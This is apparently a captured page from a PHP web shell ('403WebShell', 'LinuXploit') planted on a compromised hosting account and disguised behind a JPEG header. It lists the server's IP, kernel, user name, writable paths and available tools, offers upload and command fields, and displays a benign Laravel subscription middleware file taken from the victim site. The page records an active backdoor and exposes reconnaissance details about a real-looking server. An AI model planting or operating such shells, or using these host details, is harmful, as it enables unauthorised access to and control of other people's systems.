����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.118.160.215
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/app/Http/Middleware/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/app/Http/Middleware/IsSubscription.php
<?php

namespace App\Http\Middleware;

use App\Config;
use Closure;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\App;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Session;

class IsSubscription
{
    /**
     * Handle an incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure  $next
     * @return mixed
     */
    public function handle(Request $request, Closure $next)
    {

        App::setLocale(Session::get('changed_language'));
        $config = Config::first();
        if (Auth::check()) {
            $auth = auth()->user();
            if ($auth->is_admin == 1 || $auth->is_assistant == 1 || $config->free_sub == 1) {

                return $next($request);
            } else {
                if ($config->catlog == 0) {
                    if (getSubscription()->getData()->subscribed == true) {
                        return $next($request);
                    } else {

                        return redirect('account/purchaseplan')->with('deleted', __('You have no subscription please subscribe'));
                    }
                } else {
                    if ($config->withlogin == 1) {
                        if (getSubscription()->getData()->subscribed == true) {
                            return $next($request);
                        }else{
                            return redirect('account/purchaseplan')->with('deleted', __('You have no subscription please subscribe'));
                        }
                    } else {
                        if (getSubscription()->getData()->subscribed == true) {
                            return $next($request);
                        }else{
                            return redirect('account/purchaseplan')->with('deleted', __('You have no subscription please subscribe'));
                        }
                    }
                }
            }

        } else {
            if ($config->remove_landing_page == 1) {
                return view('auth.login');
            } else {
                return redirect('/');
            }
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit